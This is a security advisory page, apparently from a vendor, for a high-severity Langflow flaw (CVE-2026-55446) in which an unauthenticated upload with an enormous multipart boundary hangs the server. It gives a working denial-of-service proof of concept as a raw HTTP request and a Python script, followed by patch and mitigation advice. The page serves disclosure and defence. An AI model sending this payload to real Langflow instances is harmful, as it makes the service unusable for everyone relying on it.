CVE-2026-55446 is a high-severity (CVSS 7.5) vulnerability in langflow. A fix is available for langflow — see the affected versions and patch details below.
Langflow: Unauthenticated DoS through multipart form boundary file upload
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55446.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-55446 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
langflowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time.
Details
https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40
The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users.
Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID.
PoC
An attacker makes this request to upload a file without valid authentication information or a valid flow ID:
POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:7860
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryorGBAKSkv5wR6WqJ
Content-Disposition: form-data; name="file"; filename="dos.txt"
Content-Type: text/plain
DoS in progress!
------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000>
Here is the request in python:
import requests
url = "http://127.0.0.1:7860/api/v1/files/upload/test"
headers = {
"Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}
data = (
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"DoS in progress\r\n"
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)
response = requests.post(url, headers=headers, data=data)
The app will then be stuck in the "server is busy" state for all users:
<img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05">Impact
Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want.
Patches
Fixed in 1.0.19 via PR #3923. A check_boundary HTTP middleware was added that validates the multipart boundary (^[\w\-]{1,70}$) and rejects malformed requests — including the oversized-hyphen payload — with HTTP 422 before the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (get_current_active_user + 403 on mismatch), closing the unauthenticated access vector. Upgrade to 1.0.19 or later.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | langflow | all versions | 1.0.19pip install --upgrade 'langflow==1.0.19' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update langflow to 1.0.19 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55446 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-55446 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-55446. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-55446 in your dependencies?
O3 Security finds CVE-2026-55446 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.